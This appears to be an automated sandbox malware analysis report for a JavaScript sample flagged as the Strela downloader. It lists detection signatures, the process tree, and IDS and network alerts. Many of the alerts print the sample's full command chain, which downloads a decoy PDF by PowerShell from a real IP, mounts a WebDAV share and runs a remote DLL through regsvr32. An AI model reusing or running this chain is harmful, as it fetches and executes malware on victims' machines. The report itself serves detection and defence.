Edit tour

Windows Analysis Report
998728891275936098.js

Overview

General Information

Sample name:	998728891275936098.js
Analysis ID:	1588249
MD5:	2ada5a6eee47ad8c579847446ed6d842
SHA1:	a8bef5e3bdd8cf4c6b3e2365fcdda25a1d5912a9
SHA256:	534072bedf7191947afc67b42d2f15601852603c0293e36c8119148d1033aa46
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3328 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5396 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2872 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3820 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1052 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2948 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1960 --field-trial-handle=1784,i,656151265044772534,14870895431654041386,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5156 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6556 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2828 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3328	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5396, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2872, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5396, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2872, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", ProcessId: 3328, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6556, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49741

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ProcessId: 5396, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ProcessId: 5396, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ProcessId: 5396, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ProcessId: 5396, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ProcessId: 5396, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", ProcessId: 3328, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5396, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2872, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5156, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6556, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2828, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5156, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6556, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll, ProcessId: 5396, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:06:11.051599+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49741	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:06:08.669853+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49724	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 998728891275936098.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 998728891275936098.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49741 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:06:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49741

Source: global traffic

TCP traffic: 192.168.2.6:49741 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49724 -> 193.143.1.205:80

Source: global traffic

